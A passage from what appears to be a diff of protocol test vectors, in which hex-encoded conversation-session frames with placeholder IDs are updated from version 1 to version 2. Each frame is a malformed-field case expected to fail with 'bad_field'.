f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000760600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a392c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-provider-scope-other-grant", "direction": "down", - "hex": "574d583101010000010000003a0600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a39392c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000770600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a39392c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-provider-boot-id-not-a-uuid", "direction": "down", - "hex": "574d58310101000001000000220600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a226e6f742d612d626f6f742d6964222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d583101010000010000005f0600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a226e6f742d612d626f6f742d6964222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-provider-model-differs", "direction": "down", - "hex": "574d58310101000001000000380600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d62657461222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000750600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d62657461222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-provider-scope-key-missing", "direction": "down", - "hex": "574d58310101000001000000240600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000610600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-provider-selection-key-missing", "direction": "down", - "hex": "574d58310101000001000000210600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d